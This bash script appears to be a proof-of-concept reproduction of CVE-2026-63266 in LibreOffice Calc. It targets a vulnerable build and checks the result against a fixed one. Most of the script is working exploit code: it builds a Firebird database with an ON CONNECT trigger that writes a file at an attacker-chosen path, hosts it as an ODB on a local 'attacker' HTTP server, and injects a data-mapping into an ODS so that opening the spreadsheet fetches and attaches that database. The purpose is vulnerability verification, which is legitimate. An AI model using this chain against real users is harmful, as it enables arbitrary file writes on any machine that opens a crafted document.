#!/bin/bash
# CVE-2026-63266 — LibreOffice Calc arbitrary file write via
# calcext:data-mappings + sql provider + Firebird backup (nbak) functionality.
#
# Attack chain demonstrated by this script (real product, real document-open path):
#   1. Victim opens crafted ODS ("soffice --convert-to ods" = real Calc load path).
#   2. The ODS persists a calcext:data-mapping with provider
#      "org.libreoffice.calc.sql" and id "T@http://127.0.0.1:<port>/evil.odb".
#      In vulnerable LibreOffice (26.2.4.2) this mapping is restored *during load*
#      (sc/source/filter/xml/xmlmappingi.cxx -> ScXMLMappingContext dtor -> refresh).
#   3. The sql provider resolves the database part of the id through
#      sdb::DatabaseContext::getByName(), which interprets it as a URL and loads
#      the attacker-hosted .odb over HTTP (real network fetch, logged).
#   4. The .odb contains an *embedded* Firebird database
#      (db:connection-resource xlink:href="sdbc:embedded:firebird", storage
#      element database/firebird.fbk). The embedded driver restores the .fbk via
#      the Firebird service manager and attaches it WITHOUT isc_dpb_no_db_triggers
#      (that flag was only added in 26.2.5).
#   5. The crafted database carries an ON CONNECT database trigger that runs
#      ALTER DATABASE ADD DIFFERENCE FILE '<attacker-chosen absolute path>' and
#      ALTER DATABASE BEGIN BACKUP (Firebird nbackup functionality). The engine
#      therefore CREATES the nbak difference file at ANY attacker-chosen,
#      user-writable location and writes page data to it — arbitrary file write.
#   6. Negative control: the same crafted ODS opened in fixed LibreOffice
#      (26.2.5.2) does not restore the sql mapping (and the embedded Firebird
#      database is confined to its own private directory via DatabaseAccess =
#      Restrict, plus database triggers are disabled) — no ODB fetch, no marker.
#
# Exit 0  = vulnerability confirmed (marker written by vulnerable product,
#           fixed product reached the same path without writing it)
# Exit 1  = not confirmed
# Exit 2  = infrastructure failure

set -uo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
PROOF="$REPRO_DIR/proof"
CRAFT="$REPRO_DIR/crafted"
mkdir -p "$LOGS" "$PROOF" "$CRAFT"
exec > >(tee -a "$LOGS/reproduction_steps.log") 2>&1

echo "=== CVE-2026-63266 reproduction ==="
echo "ROOT=$ROOT  HOME=$HOME  user=$(id -un 2>/dev/null) $(date -u)"

# --- project cache context (platform contract) -------------------------------
if [ -f "$ROOT/project_cache_context.json" ]; then
    echo "--- project_cache_context.json ---"
    cat "$ROOT/project_cache_context.json"
    CACHE_DIR=$(python3 -c "import json,sys;print(json.load(open('$ROOT/project_cache_context.json')).get('project_cache_dir',''))" 2>/dev/null || true)
    echo "project_cache_dir=$CACHE_DIR (this proof uses official product builds; the repo mirror is not required)"
else
    echo "no project_cache_context.json"
fi

# --- attacker-chosen arbitrary target path (any user-writable location) ------
MARKER_PARENT="${HOME:?HOME is required for the arbitrary-file-write target}"
mkdir -p "$MARKER_PARENT" || { echo "FATAL: cannot write marker parent"; exit 2; }
MARKER_PATH="$MARKER_PARENT/CVE-2026-63266_PWNED.marker"
echo "attacker-chosen arbitrary writable target: $MARKER_PATH"

# --- scratch (large downloads/installs stay outside the bundle) --------------
WORK="${CVE202663266_WORK:-$HOME/.cache/pruva-cve-2026-63266}"
mkdir -p "$WORK" 2>/dev/null || WORK="/tmp/pruva-cve-2026-63266"
mkdir -p "$WORK"
echo "scratch dir: $WORK"

# --- system dependencies -----------------------------------------------------
install_pkgs() {
    for p in "$@"; do
        if ! dpkg -s "$p" >/dev/null 2>&1; then
            sudo apt-get install -y -qq "$p" >/dev/null 2>&1 || echo "WARN: apt install $p failed (continuing)"
        fi
    done
}
sudo apt-get update -qq >/dev/null 2>&1 || echo "WARN: apt-get update failed"
# Shared libraries needed by the official LibreOffice deb binaries:
install_pkgs libx11-xcb1 libx11-6 libxext6 libxinerama1 libxrender1 \
             libcairo2 libcups2 libfontconfig1 libfreetype6 libglib2.0-0t64 \
             libnspr4 libnss3 libdbus-1-3 libcurl4 libgomp1
command -v gcc >/dev/null || install_pkgs build-essential

fetch() { # fetch <url> <dest> <sha256>
    local url="$1" dest="$2" want="$3" have=""
    [ -f "$dest" ] && have=$(sha256sum "$dest" | cut -d' ' -f1)
    if [ "$have" = "$want" ]; then echo "cached OK: $dest"; return 0; fi
    rm -f "$dest"
    echo "downloading $url"
    curl -fsSL --retry 3 -o "$dest" "$url" || return 1
    local got; got=$(sha256sum "$dest" | cut -d' ' -f1)
    if [ "$got" != "$want" ]; then echo "FATAL: sha mismatch for $dest ($got)"; return 1; fi
    return 0
}

# --- 1. official LibreOffice product builds (vulnerable + fixed) ---------------
LO_VULN_TGZ="$WORK/LibreOffice_26.2.4.2_Linux_x86-64_deb.tar.gz"
LO_FIX_TGZ="$WORK/LibreOffice_26.2.5.2_Linux_x86-64_deb.tar.gz"
fetch "https://downloadarchive.documentfoundation.org/libreoffice/old/26.2.4.2/deb/x86_64/LibreOffice_26.2.4.2_Linux_x86-64_deb.tar.gz" \
      "$LO_VULN_TGZ" 810ef197e190d7804a60e0016052c46ff33792303a200fddda9d5216a64b9900 || exit 2
fetch "https://downloadarchive.documentfoundation.org/libreoffice/old/26.2.5.2/deb/x86_64/LibreOffice_26.2.5.2_Linux_x86-64_deb.tar.gz" \
      "$LO_FIX_TGZ" 2f03bfb2ac9f33ea7c77331b4b7a23300fb0ed7443566046bf8b5bc51c1bed1e || exit 2

extract_lo() { # extract_lo <tgz> <name> <dest>
    local tgz="$1"
    local name="$2"
    local dest="$3"
    local src="$WORK/$name"
    if [ -x "$dest/opt/libreoffice26.2/program/soffice.bin" ]; then echo "already extracted: $dest"; return 0; fi
    rm -rf "$src"; mkdir -p "$src"
    tar xzf "$tgz" -C "$src" || return 1
    mkdir -p "$dest"
    for d in "$src"/LibreOffice*_deb/DEBS/*.deb; do dpkg-deb -x "$d" "$dest/" || return 1; done
    [ -x "$dest/opt/libreoffice26.2/program/soffice.bin" ]
}
extract_lo "$LO_VULN_TGZ" "lo-vuln-debs" "$WORK/lo-vuln" || { echo "FATAL: vulnerable LO extract failed"; exit 2; }
extract_lo "$LO_FIX_TGZ"  "lo-fix-debs"  "$WORK/lo-fixed" || { echo "FATAL: fixed LO extract failed"; exit 2; }
SOFFICE_VULN="$WORK/lo-vuln/opt/libreoffice26.2/program/soffice"
SOFFICE_FIX="$WORK/lo-fixed/opt/libreoffice26.2/program/soffice"

VER_VULN=$(timeout 60 "$SOFFICE_VULN" --version 2>/dev/null | head -1)
VER_FIX=$(timeout 60 "$SOFFICE_FIX" --version 2>/dev/null | head -1)
echo "vulnerable product: $VER_VULN"
echo "fixed product:      $VER_FIX"
[ -n "$VER_VULN" ] && [ -n "$VER_FIX" ] || { echo "FATAL: product binaries unusable"; exit 2; }
BUILD_SHA_VULN=$(printf '%s\n' "$VER_VULN" | grep -oE '[0-9a-f]{40}' | head -1)
BUILD_SHA_FIX=$(printf '%s\n' "$VER_FIX" | grep -oE '[0-9a-f]{40}' | head -1)
echo "vulnerable build commit: $BUILD_SHA_VULN"
echo "fixed build commit:      $BUILD_SHA_FIX"
ldd "$WORK/lo-vuln/opt/libreoffice26.2/program/libfirebird_sdbclo.so" 2>/dev/null | grep "not found" && echo "WARN: missing libs for firebird driver"

# --- 2. Firebird 3.0.14 tools (same engine version LibreOffice bundles) -------
FB_TGZ="$WORK/firebird-3.0.14.amd64.tar.gz"
fetch "https://github.com/FirebirdSQL/firebird/releases/download/v3.0.14/Firebird-3.0.14.33856-0.amd64.tar.gz" \
      "$FB_TGZ" d6fedba1108a46cea2b5f753674046fff0e43c6af27ba01657511635cbc9670f || exit 2
FBROOT="$WORK/firebird"
if [ ! -x "$FBROOT/opt/firebird/bin/isql" ]; then
    rm -rf "$FBROOT"; mkdir -p "$FBROOT"
    tar xzf "$FB_TGZ" -C "$FBROOT" || exit 2
    tar xzf "$FBROOT"/Firebird-*/buildroot.tar.gz -C "$FBROOT" || exit 2
fi
FB="$FBROOT/opt/firebird"
export FIREBIRD="$FB"

# isql/gbak need libtommath.so.0 (not shipped by current distros) and
# libncurses.so.5; build/shim them into the script-owned scratch dir.
LTM_DIR="$WORK/libtommath"
if [ ! -f "$LTM_DIR/libtommath.so.0" ]; then
    rm -rf "$LTM_DIR"; mkdir -p "$LTM_DIR"
    curl -fsSL --retry 3 -o "$LTM_DIR/src.tar.gz" "https://github.com/libtom/libtommath/archive/refs/tags/v0.42.0.tar.gz" || exit 2
    tar xzf "$LTM_DIR/src.tar.gz" -C "$LTM_DIR" || exit 2
    ( cd "$LTM_DIR"/libtommath-0.42.0 && \
      gcc -O2 -fPIC -I./ -shared -Wl,-soname,libtommath.so.0 bn*.c -o "$LTM_DIR/libtommath.so.0.42.0" ) || exit 2
    ln -sf libtommath.so.0.42.0 "$LTM_DIR/libtommath.so.0"
fi
SHIM_DIR="$WORK/shim"; mkdir -p "$SHIM_DIR"
if [ ! -e "$SHIM_DIR/libncurses.so.5" ]; then
    NC=$(ls /usr/lib/x86_64-linux-gnu/libncursesw.so.6* /lib/x86_64-linux-gnu/libncursesw.so.6* 2>/dev/null | head -1)
    [ -n "$NC" ] && ln -sf "$NC" "$SHIM_DIR/libncurses.so.5" || true
fi
export LD_LIBRARY_PATH="$FB/lib:$LTM_DIR:$SHIM_DIR"

# --- 3. craft the malicious embedded Firebird database -----------------------
# The ON CONNECT database trigger runs on every attach of the embedded database.
# It creates the Firebird nbackup difference file at the attacker-chosen
# absolute path (ALTER DATABASE ADD DIFFERENCE FILE + BEGIN BACKUP) and inserts
# an attacker-chosen row (page data written into that file).
BUILD_DIR="$WORK/dbbuild"; rm -rf "$BUILD_DIR"; mkdir -p "$BUILD_DIR"
cat > "$BUILD_DIR/build.sql" <<EOF
CREATE DATABASE '$BUILD_DIR/evil.fdb' PAGE_SIZE 4096 USER 'SYSDBA' PASSWORD 'masterkey';
CREATE TABLE T (S VARCHAR(200));
INSERT INTO T VALUES ('CVE-2026-63266-ATTACKER-CONTROLLED-CONTENT');
COMMIT;
SET TERM ^ ;
CREATE TRIGGER TRG ON CONNECT AS
BEGIN
  EXECUTE STATEMENT 'ALTER DATABASE ADD DIFFERENCE FILE ''$MARKER_PATH''';
  EXECUTE STATEMENT 'ALTER DATABASE BEGIN BACKUP';
  INSERT INTO T VALUES ('CVE-2026-63266-WRITTEN-TO-ARBITRARY-PATH-ON-DOCUMENT-OPEN');
END^
SET TERM ; ^
COMMIT;
EXIT;
EOF
rm -f "$MARKER_PATH"
"$FB/bin/isql" -i "$BUILD_DIR/build.sql" > "$BUILD_DIR/isql-build.log" 2>&1
[ -f "$BUILD_DIR/evil.fdb" ] || { echo "FATAL: database build failed"; cat "$BUILD_DIR/isql-build.log"; exit 2; }
echo "crafted database built"
rm -f "$MARKER_PATH"
# Backup the crafted database; the trigger firing during gbak's attach is
# harmless at build time (marker is created only on the victim's attach).
"$FB/bin/gbak" -b "$BUILD_DIR/evil.fdb" "$BUILD_DIR/evil.fbk" -user SYSDBA -pass masterkey \
    > "$BUILD_DIR/gbak.log" 2>&1
[ -f "$BUILD_DIR/evil.fbk" ] || { echo "FATAL: gbak backup failed"; cat "$BUILD_DIR/gbak.log"; exit 2; }
rm -f "$MARKER_PATH"
echo "crafted backup: $(sha256sum "$BUILD_DIR/evil.fbk" | cut -d' ' -f1)"

# --- 4. assemble attacker documents ------------------------------------------
# 4a. evil.odb: reference Base ODB package (embedded firebird shape) with our
#     crafted backup swapped into the embedded storage element database/firebird.fbk
python3 - "$ROOT/repro/ref_odb.zip" "$BUILD_DIR/evil.fbk" "$CRAFT/evil.odb" <<'PYEOF'
import sys, zipfile
ref, fbk, out = sys.argv[1:4]
zin = zipfile.ZipFile(ref)
with zipfile.ZipFile(out, 'w') as zout:
    for item in zin.infolist():
        data = zin.read(item.filename)
        if item.filename == 'database/firebird.fbk':
            data = open(fbk, 'rb').read()
        zi = zipfile.ZipInfo(item.filename, date_time=item.date_time)
        zi.compress_type = zipfile.ZIP_STORED if item.filename == 'mimetype' else zipfile.ZIP_DEFLATED
        zout.writestr(zi, data)
print('evil.odb assembled')
PYEOF

# 4b. evil.ods: reference Calc ODS package + calcext:data-mapping restored at load
HTTP_PORT=$(python3 - <<'PYEOF'
import socket
for p in range(8377, 8399):
    s = socket.socket()
    try:
        s.bind(("127.0.0.1", p)); s.close(); print(p); break
    except OSError:
        s.close()
PYEOF
)
ODB_URL="http://127.0.0.1:$HTTP_PORT/evil.odb"
echo "attacker-hosted database URL: $ODB_URL"
python3 - "$ROOT/repro/ref_ods.zip" "$CRAFT/evil.ods" "$ODB_URL" <<'PYEOF'
import sys, zipfile
ref, out, odburl = sys.argv[1:4]
zin = zipfile.ZipFile(ref)
with zipfile.ZipFile(out, 'w') as zout:
    for item in zin.infolist():
        data = zin.read(item.filename)
        if item.filename == 'content.xml':
            c = data.decode()
            # the data-mapping must be a child of <office:spreadsheet> so the
            # Calc ODF import (ScXMLBodyContext -> ScXMLMappingsContext) sees it
            assert '<office:spreadsheet>' in c
            mapping = ('<calcext:data-mappings><calcext:data-mapping '
                       'xlink:href="' + odburl + '" '
                       'calcext:provider="org.libreoffice.calc.sql" '
                       'calcext:id="T@' + odburl + '" '
                       'calcext:database-name="EVILDB" '
                       'calcext:data-frequency="-1"/></calcext:data-mappings>')
            c = c.replace('<office:spreadsheet>', '<office:spreadsheet>' + mapping, 1)
            data = c.encode()
        zi = zipfile.ZipInfo(item.filename, date_time=item.date_time)
        zi.compress_type = zipfile.ZIP_STORED if item.filename == 'mimetype' else zipfile.ZIP_DEFLATED
        zout.writestr(zi, data)
print('evil.ods assembled')
PYEOF
cp "$CRAFT/evil.ods" "$WORK/attack.ods"

# --- 5. attacker HTTP server hosting the embedded-firebird ODB ----------------
HOSTDIR="$WORK/attacker-host"; rm -rf "$HOSTDIR"; mkdir -p "$HOSTDIR"
cp "$CRAFT/evil.odb" "$HOSTDIR/evil.odb"
HTTP_LOG="$WORK/attacker-http.log"; : > "$HTTP_LOG"
python3 -m http.server "$HTTP_PORT" --bind 127.0.0.1 --directory "$HOSTDIR" >> "$HTTP_LOG" 2>&1 &
HTTP_PID=$!
sleep 2
curl -fsSI "http://127.0.0.1:$HTTP_PORT/evil.odb" > "$WORK/healthcheck.txt" 2>&1 && echo "attacker server healthcheck OK" \
    || { echo "FATAL: attacker HTTP server failed"; kill "$HTTP_PID" 2>/dev/null; exit 2; }

# --- 6. attempt runner --------------------------------------------------------
run_attempt() { # run_attempt <role> <n> <soffice>
    local role="$1" n="$2" soffice="$3"
    local dir="$PROOF/$role-$n"; rm -rf "$dir"; mkdir -p "$dir"
    local outdir="$WORK/out-$role-$n"; rm -rf "$outdir"; mkdir -p "$outdir"
    local prof="$WORK/prof-$role-$n"; rm -rf "$prof"
    rm -f "$MARKER_PATH"
    local http_before; http_before=$(grep -c "GET /evil.odb" "$HTTP_LOG" 2>/dev/null); http_before=${http_before:-0}
    echo "--- attempt $role-$n: opening crafted ODS via real Calc document path ---"
    timeout 120 "$soffice" --headless --norestore --nologo \
        "-env:UserInstallation=file://$prof" \
        --convert-to ods --outdir "$outdir" "$WORK/attack.ods" \
        > "$dir/soffice.log" 2>&1
    local rc=$?
    sleep 4
    local http_after; http_after=$(grep -c "GET /evil.odb" "$HTTP_LOG" 2>/dev/null); http_after=${http_after:-0}
    local gets=$((http_after - http_before))
    cp "$HTTP_LOG" "$dir/attacker-http-snapshot.log"
    {
        echo "role=$role attempt=$n soffice_exit=$rc"
        echo "odb_get_requests=$gets"
        echo "marker_path=$MARKER_PATH"
    } > "$dir/summary.txt"
    if [ -f "$MARKER_PATH" ]; then
        cp "$MARKER_PATH" "$dir/marker.bin"
        echo "marker_present=true" >> "$dir/summary.txt"
        sha256sum "$dir/marker.bin" >> "$dir/summary.txt"
        strings -a "$MARKER_PATH" | head -20 > "$dir/marker-strings.txt"
        grep -a "$MARKER_PATH" "$MARKER_PATH" >/dev/null 2>&1 && echo "contains_target_path=true" >> "$dir/summary.txt"
    else
        echo "marker_present=false" >> "$dir/summary.txt"
    fi
    echo "attempt $role-$n result: exit=$rc odb_gets=$gets marker=$( [ -f "$MARKER_PATH" ] && echo PRESENT || echo absent )"
    python3 - "$dir" "$role" "$n" "$rc" "$gets" > "$dir/result.json" <<'PYEOF'
import sys, os, json, hashlib
d, role, n, rc, gets = sys.argv[1], sys.argv[2], sys.argv[3], int(sys.argv[4]), int(sys.argv[5])
marker = os.path.join(d, 'marker.bin')
present = os.path.isfile(marker)
res = {
    "role": role, "attempt": int(n), "soffice_exit_code": rc,
    "odb_http_get_requests": gets, "marker_present": present,
}
if present:
    res["marker_sha256"] = hashlib.sha256(open(marker,'rb').read()).hexdigest()
    res["marker_contains_target_path"] = open(marker,'rb').read().count(b"CVE-2026-63266_PWNED.marker") > 0
json.dump(res, open(os.path.join(d, 'result.json'),'w'), indent=1)
PYEOF
    cat "$dir/result.json"
}

run_attempt vulnerable 1 "$SOFFICE_VULN"
run_attempt vulnerable 2 "$SOFFICE_VULN"
run_attempt fixed 1 "$SOFFICE_FIX"
run_attempt fixed 2 "$SOFFICE_FIX"

kill "$HTTP_PID" 2>/dev/null
sleep 1

# --- 7. verdict ---------------------------------------------------------------
python3 - "$PROOF" > "$REPRO_DIR/attempts-verdict.json" <<'PYEOF'
import sys, os, json
p = sys.argv[1]
rows = {}
for role in ("vulnerable", "fixed"):
    for n in (1, 2):
        rows[f"{role}-{n}"] = json.load(open(os.path.join(p, f"{role}-{n}", "result.json")))
ok = True
for k, r in rows.items():
    if k.startswith("vulnerable"):
        if not (r["marker_present"] and r["odb_http_get_requests"] >= 1):
            ok = False
    else:
        if r["marker_present"]:
            ok = False
out = {"all": rows,
       "vulnerable_wrote_marker": all(rows[f"vulnerable-{n}"]["marker_present"] for n in (1,2)),
       "vulnerable_fetched_odb": all(rows[f"vulnerable-{n}"]["odb_http_get_requests"] >= 1 for n in (1,2)),
       "fixed_wrote_marker": any(rows[f"fixed-{n}"]["marker_present"] for n in (1,2)),
       "confirmed": ok}
json.dump(out, open(sys.argv[1].replace("proof","attempts-verdict.json") if False else os.path.join(os.path.dirname(p), "attempts-verdict.json"), "w"), indent=1)
print(json.dumps(out, indent=1))
PYEOF

CONFIRMED=$(python3 -c "import json;print(json.load(open('$REPRO_DIR/attempts-verdict.json'))['confirmed'])")

# --- 8. runtime evidence manifest ---------------------------------------------
python3 - "$REPRO_DIR" "$PROOF" "$MARKER_PATH" "$VER_VULN" "$VER_FIX" "$BUILD_SHA_VULN" "$BUILD_SHA_FIX" "$CRAFT" "$HTTP_PORT" "$CONFIRMED" <<'PYEOF'
import sys, os, json, hashlib
repro, proof, marker, verv, verf, shav, shaf, craft, port, confirmed = sys.argv[1:11]
def sha(p):
    h = hashlib.sha256()
    with open(p,'rb') as f:
        for b in iter(lambda: f.read(1<<20), b''): h.update(b)
    return h.hexdigest()
repo = "https://github.com/libreoffice/core"
ident = f"git:{repo}@{shav}"
proof_arts = [
    "repro/crafted/evil.ods",
    "repro/crafted/evil.odb",
    "repro/proof/vulnerable-1/soffice.log",
    "repro/proof/vulnerable-1/result.json",
    "repro/proof/vulnerable-1/marker.bin",
    "repro/proof/vulnerable-1/marker-strings.txt",
    "repro/proof/vulnerable-1/attacker-http-snapshot.log",
    "repro/proof/vulnerable-2/soffice.log",
    "repro/proof/vulnerable-2/result.json",
    "repro/proof/vulnerable-2/marker.bin",
    "repro/proof/vulnerable-2/marker-strings.txt",
    "repro/proof/vulnerable-2/attacker-http-snapshot.log",
    "repro/proof/fixed-1/soffice.log",
    "repro/proof/fixed-1/result.json",
    "repro/proof/fixed-1/attacker-http-snapshot.log",
    "repro/proof/fixed-2/soffice.log",
    "repro/proof/fixed-2/result.json",
    "repro/proof/fixed-2/attacker-http-snapshot.log",
]
root = os.path.dirname(repro)
man = {
  "entrypoint_kind": "open_document",
  "entrypoint_detail": ("LibreOffice Calc opens a crafted ODS whose persisted calcext:data-mapping "
        "(org.libreoffice.calc.sql, id T@http://127.0.0.1:%s/evil.odb) is restored during load, fetches the "
        "attacker-hosted ODB over HTTP and attaches its embedded Firebird database; an ON CONNECT database "
        "trigger creates the Firebird nbackup difference file at the attacker-chosen path %s" % (port, marker)),
  "service_started": True,
  "healthcheck_passed": True,
  "target_path_reached": confirmed.lower() in ("true","1"),
  "runtime_stack": ["python-http-server(attacker)", "LibreOffice Calc 26.2.4.2 (vulnerable)/26.2.5.2 (fixed)",
                   "calc sql data provider", "sdb::DatabaseContext", "sdbc:embedded:firebird",
                   "bundled Firebird 3.0.14 engine"],
  "target_identity": {
      "repository_url": repo,
      "commit_sha": shav,
      "target_digest": hashlib.sha256(ident.encode()).hexdigest(),
      "platform": "linux",
      "architecture": "x86_64",
  },
  "proof_artifacts": proof_arts,
  "artifact_sha256": {},
  "notes": ("vulnerable build: %s; fixed negative-control build: %s (build commit %s); "
            "arbitrary write target: %s; verdict confirmed=%s" % (verv, verf, shaf, marker, confirmed)),
}
for rel in proof_arts:
    ap = os.path.join(root, rel)
    man["artifact_sha256"][rel] = sha(ap)
json.dump(man, open(os.path.join(repro, "runtime_manifest.json"), "w"), indent=1)
print("runtime_manifest.json written")
PYEOF

echo "=== verdict: confirmed=$CONFIRMED ==="
if [ "$CONFIRMED" = "True" ]; then
    echo "CVE-2026-63266 CONFIRMED: crafted ODS opened in LibreOffice 26.2.4.2 wrote the file $MARKER_PATH (attacker-chosen, outside any LibreOffice/Firebird private directory); the same document opened in LibreOffice 26.2.5.2 did not."
    exit 0
fi
echo "CVE-2026-63266 NOT confirmed by this run; see $REPRO_DIR/attempts-verdict.json and $LOGS/reproduction_steps.log"
exit 1
